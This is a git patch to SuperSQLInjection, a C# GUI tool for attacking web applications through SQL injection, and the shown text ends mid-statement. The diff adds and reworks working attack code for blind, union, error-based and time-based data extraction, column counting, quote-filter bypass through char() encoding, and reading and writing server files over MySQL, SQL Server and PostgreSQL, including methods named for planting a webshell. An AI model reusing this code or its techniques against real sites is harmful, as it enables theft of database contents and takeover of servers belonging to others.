From b18f7b73f9e9d8fae9bb03ae1767a4e85b81bd67 Mon Sep 17 00:00:00 2001 From: shack2 <1341413415@qq.com> Date: Fri, 21 Dec 2018 16:08:29 +0800 Subject: [PATCH] update20181221 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 20181221 V1.0 正式版--- 修复盲注关键字判断机制,自动识别时,关键字相同且状态码相同才认为是true页面,解决在部分情况下可能出现错误500页面也存在同样关键字的问题。 修改SQLServer查询列时,使用char函数方式,避免单引号被过滤导致无法获取列名的问题。 修复SQLServer 执行命令,读写文件时,可能由于语句报错而导致读写文件失败的问题,优化提高成功率。 修复betweent and绕过时,将16进制字符替换了,导致语句错误而无法获取数据的问题。 修复自动识别在某些情况下跳过了错误显示注入检查。 修复Union注入重复发包判断列情况。 修复自动识别注入,在部分情况下无法正确判断数据库类型的问题。 修改爆出注入配置文件,降低漏报。 优化自动识别注入,如果程序判断支持盲注,会自动尝试使用order by去判断页面列数,提高Union注入检查的速度。 新增支持注入PostgreSQL文件读写功能。 --- SuperSQLInjection/Main.Designer.cs | 57 +- SuperSQLInjection/Main.cs | 858 +++++++++++++------ SuperSQLInjection/Main.resx | 4 +- SuperSQLInjection/Properties/AssemblyInfo.cs | 4 +- SuperSQLInjection/SuperSQLInjection.csproj | 1 + SuperSQLInjection/bypass/StringReplace.cs | 15 +- SuperSQLInjection/model/Config.cs | 1 + SuperSQLInjection/payload/DBPayload.cs | 12 + SuperSQLInjection/payload/MySQL.cs | 12 +- SuperSQLInjection/payload/PostgreSQL.cs | 87 +- SuperSQLInjection/payload/SQLServer.cs | 25 +- SuperSQLInjection/tools/Tools.cs | 139 ++- SuperSQLInjection/tools/file/FileTool.cs | 4 +- update.txt | 50 +- 14 files changed, 943 insertions(+), 326 deletions(-) create mode 100644 SuperSQLInjection/payload/DBPayload.cs diff --git a/SuperSQLInjection/Main.Designer.cs b/SuperSQLInjection/Main.Designer.cs index 7f65619..ecadaff 100644 --- a/SuperSQLInjection/Main.Designer.cs +++ b/SuperSQLInjection/Main.Designer.cs @@ -92,6 +92,7 @@ this.tab_file = new System.Windows.Forms.TabPage(); this.file_txt_result = new System.Windows.Forms.TextBox(); this.groupBox7 = new System.Windows.Forms.GroupBox(); + this.file_btn_stop = new System.Windows.Forms.Button(); this.file_btn_start = new System.Windows.Forms.Button(); this.file_cbox_readWrite = new System.Windows.Forms.ComboBox(); this.file_txt_filePath = new System.Windows.Forms.TextBox(); @@ -198,6 +199,7 @@ this.cmd_txt_result = new System.Windows.Forms.TextBox(); this.groupBox8 = new System.Windows.Forms.GroupBox(); this.cmd_chk_showCmdResult = new System.Windows.Forms.CheckBox(); + this.cmd_btn_stop = new System.Windows.Forms.Button(); this.cmd_btn_start = new System.Windows.Forms.Button(); this.cmd_txt_cmd = new System.Windows.Forms.TextBox(); this.label15 = new System.Windows.Forms.Label(); @@ -231,6 +233,7 @@ this.bypass_delselect = new System.Windows.Forms.ToolStripMenuItem(); this.bypass_btn_addReplaceStr = new System.Windows.Forms.Button(); this.label19 = new System.Windows.Forms.Label(); + this.tab_useDB = new System.Windows.Forms.TabPage(); this.tab_encoding = new System.Windows.Forms.TabPage(); this.groupBox13 = new System.Windows.Forms.GroupBox(); this.label21 = new System.Windows.Forms.Label(); @@ -1022,6 +1025,7 @@ // // groupBox7 // + this.groupBox7.Controls.Add(this.file_btn_stop); this.groupBox7.Controls.Add(this.file_btn_start); this.groupBox7.Controls.Add(this.file_cbox_readWrite); this.groupBox7.Controls.Add(this.file_txt_filePath); @@ -1036,11 +1040,21 @@ this.groupBox7.TabStop = false; this.groupBox7.Text = "文件操作"; // + // file_btn_stop + // + this.file_btn_stop.Location = new System.Drawing.Point(748, 30); + this.file_btn_stop.Name = "file_btn_stop"; + this.file_btn_stop.Size = new System.Drawing.Size(69, 23); + this.file_btn_stop.TabIndex = 12; + this.file_btn_stop.Text = "停止"; + this.file_btn_stop.UseVisualStyleBackColor = true; + this.file_btn_stop.Click += new System.EventHandler(this.file_btn_stop_Click); + // // file_btn_start // - this.file_btn_start.Location = new System.Drawing.Point(717, 28); + this.file_btn_start.Location = new System.Drawing.Point(659, 30); this.file_btn_start.Name = "file_btn_start"; - this.file_btn_start.Size = new System.Drawing.Size(100, 23); + this.file_btn_start.Size = new System.Drawing.Size(69, 23); this.file_btn_start.TabIndex = 12; this.file_btn_start.Text = "开始"; this.file_btn_start.UseVisualStyleBackColor = true; @@ -1050,17 +1064,9 @@ // this.file_cbox_readWrite.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.file_cbox_readWrite.FormattingEnabled = true; - this.file_cbox_readWrite.Items.AddRange(new object[] { - "MySQL Load_File读文件", - "MySQL Union写文件", - "SQLServer FileSystemObject写文件", - "SQLServer Sp_MakeWebTask写文件", - "SQLServer 备份写WebShell(有多余数据)", - "SQLServer FileSystemObject读文件", - "加载获取IIS虚拟网站信息VBS"}); this.file_cbox_readWrite.Location = new System.Drawing.Point(409, 31); this.file_cbox_readWrite.Name = "file_cbox_readWrite"; - this.file_cbox_readWrite.Size = new System.Drawing.Size(291, 20); + this.file_cbox_readWrite.Size = new System.Drawing.Size(230, 20); this.file_cbox_readWrite.TabIndex = 2; this.file_cbox_readWrite.SelectedIndexChanged += new System.EventHandler(this.file_cbox_readWrite_SelectedIndexChanged); // @@ -2111,6 +2117,7 @@ this.mytab.Controls.Add(this.tab_file); this.mytab.Controls.Add(this.tab_cmd); this.mytab.Controls.Add(this.tab_bypass); + this.mytab.Controls.Add(this.tab_useDB); this.mytab.Controls.Add(this.tab_encoding); this.mytab.Controls.Add(this.tab_scanInjection); this.mytab.Controls.Add(this.tab_injectLog); @@ -2150,6 +2157,7 @@ // groupBox8 // this.groupBox8.Controls.Add(this.cmd_chk_showCmdResult); + this.groupBox8.Controls.Add(this.cmd_btn_stop); this.groupBox8.Controls.Add(this.cmd_btn_start); this.groupBox8.Controls.Add(this.cmd_txt_cmd); this.groupBox8.Controls.Add(this.label15); @@ -2174,6 +2182,16 @@ this.cmd_chk_showCmdResult.UseVisualStyleBackColor = true; this.cmd_chk_showCmdResult.CheckedChanged += new System.EventHandler(this.cmd_chk_showCmdResult_CheckedChanged); // + // cmd_btn_stop + // + this.cmd_btn_stop.Location = new System.Drawing.Point(592, 28); + this.cmd_btn_stop.Name = "cmd_btn_stop"; + this.cmd_btn_stop.Size = new System.Drawing.Size(75, 23); + this.cmd_btn_stop.TabIndex = 12; + this.cmd_btn_stop.Text = "停止"; + this.cmd_btn_stop.UseVisualStyleBackColor = true; + this.cmd_btn_stop.Click += new System.EventHandler(this.cmd_btn_stop_Click); + // // cmd_btn_start // this.cmd_btn_start.Location = new System.Drawing.Point(496, 28); @@ -2549,6 +2567,16 @@ this.label19.TabIndex = 5; this.label19.Text = "将字符"; // + // tab_useDB + // + this.tab_useDB.Location = new System.Drawing.Point(4, 23); + this.tab_useDB.Name = "tab_useDB"; + this.tab_useDB.Padding = new System.Windows.Forms.Padding(3); + this.tab_useDB.Size = new System.Drawing.Size(832, 451); + this.tab_useDB.TabIndex = 11; + this.tab_useDB.Text = "数据库利用"; + this.tab_useDB.UseVisualStyleBackColor = true; + // // tab_encoding // this.tab_encoding.Controls.Add(this.groupBox13); @@ -2610,7 +2638,9 @@ "Base64Encode", "字符转Unicode", "字符转16进制(UTF-8编码)", - "MD5加密"}); + "MD5加密", + "字符串转chr", + "字符串转char"}); this.encode_cbox_encode.Location = new System.Drawing.Point(103, 25); this.encode_cbox_encode.Name = "encode_cbox_encode"; this.encode_cbox_encode.Size = new System.Drawing.Size(200, 20); @@ -3690,6 +3720,9 @@ private System.Windows.Forms.ToolStripMenuItem tsmi_injectLog_clearAllLog; private System.Windows.Forms.ColumnHeader injectlog_col_ip; private System.Windows.Forms.ColumnHeader injectlog_col_port; + private System.Windows.Forms.TabPage tab_useDB; + private System.Windows.Forms.Button cmd_btn_stop; + private System.Windows.Forms.Button file_btn_stop; } } diff --git a/SuperSQLInjection/Main.cs b/SuperSQLInjection/Main.cs index 5d36f94..bd9cc2a 100644 --- a/SuperSQLInjection/Main.cs +++ b/SuperSQLInjection/Main.cs @@ -18,6 +18,7 @@ using Amib.Threading; using System.Management; using Microsoft.Win32; using System.Drawing; +using System.Reflection; namespace SuperSQLInjection { @@ -110,7 +111,6 @@ namespace SuperSQLInjection this.cbox_basic_timeOut.SelectedIndex = 4; this.cbox_basic_reTryCount.SelectedIndex = 1; this.data_dbs_cob_db_encoding.SelectedIndex = 0; - this.file_cbox_readWrite.SelectedIndex = 0; this.bypass_cbox_sendHTTPSleepTime.SelectedIndex = 0; this.cbox_bypass_urlencode_count.SelectedIndex = 0; this.cbox_base64Count.SelectedIndex = 0; @@ -230,7 +230,7 @@ namespace SuperSQLInjection return sid; } - public static int version = 20181216; + public static int version = 20181221; public static string versionURL = "http://www.shack2.org/soft/getNewVersion?ENNAME=SSuperSQLInjection&NO=" + URLEncode.UrlEncode(getSid()) + "&VERSION=" + version; //检查更新 public void checkUpdate() @@ -2143,7 +2143,7 @@ namespace SuperSQLInjection olen = len; payload = ByPassForBetween(payLoadStr, len); ServerInfo server = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); - Boolean exists = Tools.isTrue(server, config.key, config.reverseKey, config.keyType); + Boolean exists = Tools.isTrue(server, config.key, config.reverseKey, config.keyType, config.injectHTTPCode); if (exists) { if (len == start) @@ -2177,7 +2177,7 @@ namespace SuperSQLInjection String payload = ByPassForBetween(payLoadStr, len); ServerInfo server = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); - Boolean exists = Tools.isTrue(server, config.key, config.reverseKey, config.keyType); + Boolean exists = Tools.isTrue(server, config.key, config.reverseKey, config.keyType,config.injectHTTPCode); return exists; } @@ -2209,7 +2209,7 @@ namespace SuperSQLInjection { payload = ByPassForBetween(payLoadStr, start); ServerInfo server = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); - if (Tools.isTrue(server, config.key, config.reverseKey, config.keyType)) + if (Tools.isTrue(server, config.key, config.reverseKey, config.keyType, config.injectHTTPCode)) { start += step; } @@ -2273,7 +2273,7 @@ namespace SuperSQLInjection return false; } - return Tools.isTrue(server, config.key, config.reverseKey, config.keyType); + return Tools.isTrue(server, config.key, config.reverseKey, config.keyType, config.injectHTTPCode); } return false; @@ -2304,7 +2304,7 @@ namespace SuperSQLInjection return false; } - return Tools.isTrue(server, config.key, config.reverseKey, config.keyType); + return Tools.isTrue(server, config.key, config.reverseKey, config.keyType, config.injectHTTPCode); } @@ -3292,7 +3292,7 @@ namespace SuperSQLInjection try { SelectNode sn = (SelectNode)osn; - String data_payload = SQLServer.column_value.Replace("{index}", sn.limit.ToString()).Replace("{dbname}", sn.dbname).Replace("{table}", sn.tableName); + String data_payload = SQLServer.column_value.Replace("{index}", sn.limit.ToString()).Replace("'{dbname}..{table}'", Tools.strToChar(sn.dbname + ".." + sn.columnName, "UTF-8")).Replace("{dbname}", sn.dbname); int len = getValueByStepUp(SQLServer.bool_length.Replace("{data}", data_payload), 0, 10); String value = ""; //获取值 @@ -3338,7 +3338,7 @@ namespace SuperSQLInjection try { SelectNode sn = (SelectNode)osn; - String data_payload = SQLServer.column_value.Replace("{index}", sn.limit.ToString()).Replace("{dbname}", sn.dbname).Replace("{table}", sn.tableName); + String data_payload = SQLServer.column_value.Replace("{index}", sn.limit.ToString()).Replace("'{dbname}..{table}'", Tools.strToChar(sn.dbname + ".." + sn.columnName, "UTF-8")).Replace("{dbname}", sn.dbname); int len = getValueByStepUp(SQLServer.getBoolDataBySleep(SQLServer.bool_length.Replace("{data}", data_payload), config.maxTime), 0, 10); String value = ""; //获取值 @@ -3456,7 +3456,7 @@ namespace SuperSQLInjection { SelectNode sn = (SelectNode)osn; - String column_Name_data = SQLServer.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, SQLServer.column_value, sn.dbname, sn.tableName, sn.limit.ToString()); + String column_Name_data = SQLServer.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, SQLServer.column_value.Replace("'{dbname}..{table}'", Tools.strToChar(sn.dbname + ".." + sn.tableName, "UTF-8")), sn.dbname, sn.tableName, sn.limit.ToString()); String result = getOneDataByUnionOrError(column_Name_data); this.Invoke(new showLogDelegate(log), "发现列:" + result, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); @@ -3539,7 +3539,7 @@ namespace SuperSQLInjection try { SelectNode sn = (SelectNode)osn; - String result = getOneDataByUnionOrError(SQLServer.error_value.Replace("{data}", SQLServer.column_value.Replace("{index}", sn.limit.ToString()).Replace("{dbname}", sn.dbname).Replace("{table}", sn.tableName))); + String result = getOneDataByUnionOrError(SQLServer.error_value.Replace("{data}", SQLServer.column_value.Replace("{index}", sn.limit.ToString()).Replace("'{dbname}..{table}'", Tools.strToChar(sn.dbname + ".." + sn.tableName, "UTF-8"))).Replace("{dbname}", sn.dbname)); this.Invoke(new showLogDelegate(log), "发现列:" + result,LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); } @@ -3632,11 +3632,11 @@ namespace SuperSQLInjection case DBType.SQLServer: if (KeyType.Time.Equals(config.keyType)) { - columns_count = getValueByStepUp(SQLServer.getBoolDataBySleep(SQLServer.bool_columns_count.Replace("{dbname}", dbName).Replace("{table}", tableName), config.maxTime), 0, 20); + columns_count = getValueByStepUp(SQLServer.getBoolDataBySleep(SQLServer.bool_columns_count.Replace("'{dbname}..{table}'", Tools.strToChar(dbName+".."+ tableName,"UTF-8")).Replace("{dbname}", dbName), config.maxTime), 0, 20); } else { - columns_count = getValueByStepUp(SQLServer.bool_columns_count.Replace("{dbname}", dbName).Replace("{table}", tableName), 0, 20); + columns_count = getValueByStepUp(SQLServer.bool_columns_count.Replace("'{dbname}..{table}'", Tools.strToChar(dbName + ".." + tableName, "UTF-8")).Replace("{dbname}", dbName), 0, 20); } this.Invoke(new showLogDelegate(log), "报告大侠,表" + tableName + "发现" + columns_count + "个列!", LogLevel.info); @@ -3749,7 +3749,7 @@ namespace SuperSQLInjection stp.WaitForIdle(); break; case DBType.SQLServer: - columns_count_payload = SQLServer.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, SQLServer.columns_count, dbName, tableName, ""); + columns_count_payload = SQLServer.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, SQLServer.columns_count.Replace("'{dbname}..{table}'", Tools.strToChar(dbName + ".." + tableName, "UTF-8")), dbName, tableName, ""); result = getOneDataByUnionOrError(columns_count_payload); this.Invoke(new showLogDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!", LogLevel.info); @@ -3852,7 +3852,8 @@ namespace SuperSQLInjection stp.WaitForIdle(); break; case DBType.SQLServer: - result = getOneDataByUnionOrError(SQLServer.error_value.Replace("{data}", SQLServer.columns_count.Replace("{dbname}", dbName).Replace("{table}", tableName))); + String columns_count_data = SQLServer.columns_count.Replace("'{dbname}..{table}'", Tools.strToChar(dbName + ".." + tableName, "UTF-8")).Replace("{dbname}", dbName); + result = getOneDataByUnionOrError(SQLServer.error_value.Replace("{data}",columns_count_data)); //HTML解码 result = HttpUtility.HtmlDecode(result); this.Invoke(new showLogDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!", LogLevel.info); @@ -5359,6 +5360,7 @@ namespace SuperSQLInjection { try { + status = 1; selectInjectType(InjectType.UnKnow); selectDB("UnKnow"); //判断提交数据内型 @@ -5549,25 +5551,15 @@ namespace SuperSQLInjection foreach (String cdpay in dbpayload_list) { ServerInfo dbServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, pals[0].Replace("1=1", cdpay), payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); - if (config.useCode && trueServer.code == dbServer.code) + + Boolean istrue=Tools.isTrue(dbServer, config.key, config.reverseKey, config.keyType, config.injectHTTPCode); + if (istrue) { this.Invoke(new showLogDelegate(log), "程序判断数据库为" + db + "数据库", LogLevel.success); currentDB = db; selectDB(currentDB); break; } - else if (dbServer.length >= oserver.length && dbServer.code == oserver.code) - { - //根据关键字判断 - if (dbServer.body.IndexOf(config.key) != -1) - { - this.Invoke(new showLogDelegate(log), "程序判断数据库为" + db + "数据库", LogLevel.success); - currentDB = db; - selectDB(currentDB); - break; - } - } - } } //用于标记注入的新字符 @@ -5653,7 +5645,7 @@ namespace SuperSQLInjection String[] pals = cpal.Split(':'); //如果已经识别出了数据库类型,根据对应的数据库类型加载错误显示payload - if (!config.dbType.ToString().Equals(pals[3])) { + if (!config.dbType.ToString().Equals(pals[3])&& !config.dbType.Equals(DBType.UnKnow)) { continue; } ServerInfo errorServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, pals[0], payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); @@ -5696,19 +5688,13 @@ namespace SuperSQLInjection //union注入 String payload = ""; - - if (DBType.SQLServer.ToString().Equals(currentDB)) - { - payload = unionStartPayLoad + "{payload}--"; - - } - else if ("MySQL".Equals(currentDB)) + if ("MySQL".Equals(currentDB)) { payload = unionStartPayLoad + "{payload}#"; } else if ("Access".Equals(currentDB)) { - //处理%16不能被URL + //处理%16不能被URL编码 payload = unionStartPayLoad + "{payload}"; } else @@ -5716,9 +5702,30 @@ namespace SuperSQLInjection payload = unionStartPayLoad + "{payload}-- -"; } + //如果是已经识别出来bool注入,尝试使用orderby判断列数量,提高效率 + int order = 0; + if (boolInject) + { + String orderpayload = " 1=1 order by {len}"; + if ("Access".Equals(currentDB)) + { + //%16 + orderpayload = orderpayload + HttpUtility.UrlDecode("%16",Encoding.UTF8); + } + else { + orderpayload = orderpayload + "-- -"; + } + order = getValue(orderpayload, 1, config.maxClolumns); + } + int startIndex = 1; + if (order-1>0) { + startIndex = order - 1; + this.Invoke(new showLogDelegate(log), "注入点支持order by判断,自动判断查询有"+ startIndex + "列!", LogLevel.success); + } + //判断总列数 Boolean isFind = false; - for (int i = 1; i <= config.maxClolumns; i++) + for (int i = startIndex; i <= config.maxClolumns; i++) { if (isFind) { @@ -5768,10 +5775,10 @@ namespace SuperSQLInjection } else { + ServerInfo unionServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, unionPayload, payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); for (int j = 1; j <= i; j++) { String basecolumn = (basestr + j).ToString(); - ServerInfo unionServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, unionPayload, payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); if (unionServer.code == 200 && unionServer.body.IndexOf((basecolumn)) != -1) { isFind = true; @@ -5874,7 +5881,6 @@ namespace SuperSQLInjection private void data_dbs_tsl_getDatas_Click(object sender, EventArgs e) { - if (stp.InUseThreads == 0) { @@ -5991,6 +5997,33 @@ namespace SuperSQLInjection private void cbox_basic_dbType_SelectedIndexChanged(object sender, EventArgs e) { config.dbType = (DBType)this.cbox_basic_dbType.SelectedIndex; + //文件读取,选择修改 + try + { + Type type = Type.GetType("SuperSQLInjection.payload." + config.dbType.ToString()); + MethodInfo mf = type.GetMethod("getShowCanDoFile"); + List list = (List)mf.Invoke(null, null); + this.file_cbox_readWrite.Items.Clear(); + if (list != null && list.Count > 0) + { + this.file_cbox_readWrite.Enabled = true; + this.file_cbox_readWrite.Items.Add("请选择读写文件方式"); + this.file_cbox_readWrite.Items.AddRange(list.ToArray()); + + } + else { + this.file_cbox_readWrite.Items.Add("此数据库类型暂不支持文件读写!"); + + } + } + catch (Exception ee) { + + this.file_cbox_readWrite.Items.Clear(); + this.file_cbox_readWrite.Items.Add("此数据库类型暂不支持文件读写!"); + + Tools.SysLog(ee.Message); + } + this.file_cbox_readWrite.SelectedIndex = 0; } private void txt_inject_unionColumnsCount_TextChanged(object sender, EventArgs e) { @@ -6489,6 +6522,11 @@ namespace SuperSQLInjection this.file_txt_result.Text = text; } + public void file_txt_resultAppendText(String text) + { + this.file_txt_result.AppendText(text+"\r\n"); + } + public void cmd_txt_resultSetText(String text) { this.cmd_txt_result.Text = text; @@ -6504,215 +6542,397 @@ namespace SuperSQLInjection { Thread.CurrentThread.Name = "FileThread-"; } - if (this.file_cbox_readWrite.SelectedIndex == 0) - { - data_payload = MySQL.hex.Replace("{data}", "load_file(" + path_16 + ")"); - switch (config.injectType) - { - case InjectType.Bool: - try - { - if (String.IsNullOrEmpty(config.key)) - { - MessageBox.Show("大侠,请在注入中心,配置Bool盲注的判断值!"); - return; - } - String payload_len = MySQL.ver_length.Replace("{data}", data_payload); - int len = 0; - //延时注入 - if (config.keyType.Equals(KeyType.Time)) - { - len = getValueByStepUp(MySQL.getBoolCountBySleep(payload_len, config.maxTime), 0, 50000); - } - else { - len = getValueByStepUp(payload_len, 0, 50000); - } - - this.dataCount = len; - String value = ""; - ver_tmp = new String[len]; - //获取值 - for (int i = 0; i < len; i++) - { - stp.WaitFor(100); - stp.QueueWorkItem(readOrWriteFileByMySQLByHexAscii, data_payload + "#" + i); - } - stp.WaitForIdle(); - if (ver_tmp != null) - { - value = Tools.unHex(Tools.convertToString(ver_tmp), config.readFileEncoding); - } - this.Invoke(new StringDelegate(file_txt_resultSetText), value); - this.Invoke(new showLogDelegate(log), this.file_cbox_readWrite.Text + "完成!", LogLevel.success); - } - catch (Exception e) - { - this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); - } - break; - case InjectType.Union: - try - { - if (config.columnsCount <= 0) - { - MessageBox.Show("大侠,请在注入中心,配置Union注入的列数!"); - return; - } + switch (config.dbType) { - String result = getOneDataByUnionOrError(MySQL.union_value.Replace("{data}", MySQL.creatMySQLReadFileByUnion(config.columnsCount, config.showColumn, config.unionFill, "convert(load_file(" + path_16 + ") using UTF8)"))); - this.dataCount = result.Length; - this.currentDataCount = result.Length; - this.Invoke(new StringDelegate(file_txt_resultSetText), result); - this.Invoke(new showLogDelegate(log), "报告大侠,获取到文件数据!", LogLevel.success); - } - catch (Exception e) - { - this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); - } - break; - case InjectType.Error: - try - { - String payload_len = MySQL.char_length.Replace("{data}", data_payload); - String payload_len_error = MySQL.error_value.Replace("{data}", MySQL.concatMySQLColumn(payload_len)); - - String result_length = getOneDataByUnionOrError(payload_len_error); - - - int sumlen = Tools.convertToInt(result_length); - this.dataCount = sumlen; - String result = ""; - - int start = 1; - //每次获取长度,err方式有长度限制 - int count = 64 - 6; - this.Invoke(new showLogDelegate(log), "报告大侠,正在获取数据,每次请求将获取" + count + "字符!", LogLevel.info); - while (start < sumlen) - { - //hex编码,防止中文等乱码 - String datas_value_tmp = ByPassForBetween(MySQL.creatMySQLColumnCastStr(MySQL.substr_value.Replace("{data}", data_payload).Replace("{start}", start.ToString())), count); - String c_datas_value_payload = MySQL.error_value.Replace("{data}", datas_value_tmp); - result += getOneDataByUnionOrError(c_datas_value_payload); - start += count; - this.currentDataCount = result.Length; - this.Invoke(new StringDelegate(file_txt_resultSetText), Tools.unHex(result, config.readFileEncoding)); - } - //查找格式^^^col$$$col^^^ - result = Tools.unHex(result, config.readFileEncoding); - Match m = Regex.Match(result, "(?<=(\\^\\^\\!))[.\\s\\S]*?(?=(\\!\\^\\^))"); - if (m.Success) - { - result = m.Value; - } - this.Invoke(new StringDelegate(file_txt_resultSetText), result); - this.Invoke(new showLogDelegate(log), "获取文件内容!", LogLevel.info); - } - catch (Exception e) - { - - this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); - } - break; - - } - } - else if (this.file_cbox_readWrite.SelectedIndex == 1) - { - //union方式写文件 - if (config.injectType.Equals(InjectType.Union)) - { - if (!String.IsNullOrEmpty(this.file_txt_result.Text)) + case DBType.MySQL: + if (this.file_cbox_readWrite.SelectedIndex == 1) { - String payload = MySQL.creatMySQLWriteFileByUnion(config.columnsCount, config.showColumn, config.unionFill, path, this.file_txt_result.Text); + data_payload = MySQL.hex.Replace("{data}", "load_file(" + path_16 + ")"); + switch (config.injectType) + { + case InjectType.Bool: + try + { + if (String.IsNullOrEmpty(config.key)) + { + MessageBox.Show("大侠,请在注入中心,配置Bool盲注的判断值!"); + return; + } + String payload_len = MySQL.ver_length.Replace("{data}", data_payload); + int len = 0; + //延时注入 + if (config.keyType.Equals(KeyType.Time)) + { + len = getValueByStepUp(MySQL.getBoolCountBySleep(payload_len, config.maxTime), 0, 50000); + } + else + { + len = getValueByStepUp(payload_len, 0, 50000); + } + + this.dataCount = len; + String value = ""; + ver_tmp = new String[len]; + //获取值 + for (int i = 0; i < len; i++) + { + stp.WaitFor(100); + stp.QueueWorkItem(readOrWriteFileByMySQLByHexAscii, data_payload + "#" + i); + } + stp.WaitForIdle(); + if (ver_tmp != null) + { + value = Tools.unHex(Tools.convertToString(ver_tmp), config.readFileEncoding); + } + this.Invoke(new StringDelegate(file_txt_resultSetText), value); + this.Invoke(new showLogDelegate(log), this.file_cbox_readWrite.Text + "完成!", LogLevel.success); + + } + catch (Exception e) + { + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); + } + break; + case InjectType.Union: + try + { + if (config.columnsCount <= 0) + { + MessageBox.Show("大侠,请在注入中心,配置Union注入的列数!"); + return; + } + + String result = getOneDataByUnionOrError(MySQL.union_value.Replace("{data}", MySQL.creatMySQLReadFileByUnion(config.columnsCount, config.showColumn, config.unionFill, "convert(load_file(" + path_16 + ") using UTF8)"))); + this.dataCount = result.Length; + this.currentDataCount = result.Length; + this.Invoke(new StringDelegate(file_txt_resultSetText), result); + this.Invoke(new showLogDelegate(log), "报告大侠,获取到文件数据!", LogLevel.success); + } + catch (Exception e) + { + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); + } + break; + case InjectType.Error: + try + { + String payload_len = MySQL.char_length.Replace("{data}", data_payload); + String payload_len_error = MySQL.error_value.Replace("{data}", MySQL.concatMySQLColumn(payload_len)); + + String result_length = getOneDataByUnionOrError(payload_len_error); + + + int sumlen = Tools.convertToInt(result_length); + this.dataCount = sumlen; + String result = ""; + + int start = 1; + //每次获取长度,err方式有长度限制 + int count = 64 - 6; + this.Invoke(new showLogDelegate(log), "报告大侠,正在获取数据,每次请求将获取" + count + "字符!", LogLevel.info); + while (start < sumlen) + { + //hex编码,防止中文等乱码 + String datas_value_tmp = ByPassForBetween(MySQL.creatMySQLColumnCastStr(MySQL.substr_value.Replace("{data}", data_payload).Replace("{start}", start.ToString())), count); + String c_datas_value_payload = MySQL.error_value.Replace("{data}", datas_value_tmp); + result += getOneDataByUnionOrError(c_datas_value_payload); + start += count; + this.currentDataCount = result.Length; + this.Invoke(new StringDelegate(file_txt_resultSetText), Tools.unHex(result, config.readFileEncoding)); + } + //查找格式^^^col$$$col^^^ + result = Tools.unHex(result, config.readFileEncoding); + Match m = Regex.Match(result, "(?<=(\\^\\^\\!))[.\\s\\S]*?(?=(\\!\\^\\^))"); + if (m.Success) + { + result = m.Value; + } + this.Invoke(new StringDelegate(file_txt_resultSetText), result); + this.Invoke(new showLogDelegate(log), "获取文件内容!", LogLevel.info); + } + catch (Exception e) + { + + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); + } + break; + + } + } + else if (this.file_cbox_readWrite.SelectedIndex == 2) + { + //union方式写文件 + if (config.injectType.Equals(InjectType.Union)) + { + if (!String.IsNullOrEmpty(this.file_txt_result.Text)) + { + String payload = MySQL.creatMySQLWriteFileByUnion(config.columnsCount, config.showColumn, config.unionFill, path, this.file_txt_result.Text); + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + MessageBox.Show("大侠,写文件操作小的我已经完成了额,剩下的就请大侠人工检查写文件是否成功!"); + } + else + { + MessageBox.Show("请在下面输入您要写入文件的内容,请注意,GET方式的注入提交数据不能超过1024个字节!"); + } + } + else + { + + MessageBox.Show("大侠此种方式写文件,只支持Union注入!"); + } + } + break; + + case DBType.SQLServer: + if (this.file_cbox_readWrite.SelectedIndex == 1) + { + //filesystemobject写文件 + if (!String.IsNullOrEmpty(this.file_txt_result.Text)) + { + String payload = SQLServer.witeFileByFileSystemObject.Replace("{path}", Tools.strToHex(path, "GB2312")).Replace("{data}", Tools.strToHex(this.file_txt_result.Text, "GB2312")); + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + MessageBox.Show("大侠,写文件操作小的我已经完成了额,剩下的就请大侠人工检查写文件是否成功!"); + } + else + { + MessageBox.Show("请在下面输入您要写入文件的内容,请注意,GET方式的注入提交数据不能超过1024个字节!"); + } + + } + else if (this.file_cbox_readWrite.SelectedIndex == 2) + { + //sp_makewebtask写文件 + if (!String.IsNullOrEmpty(this.file_txt_result.Text)) + { + String payload = SQLServer.witeFileBySP_MakeWebTask.Replace("{path}", Tools.strToHex(path, "GB2312")).Replace("{data}", Tools.strToHex(this.file_txt_result.Text, "GB2312")); + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + 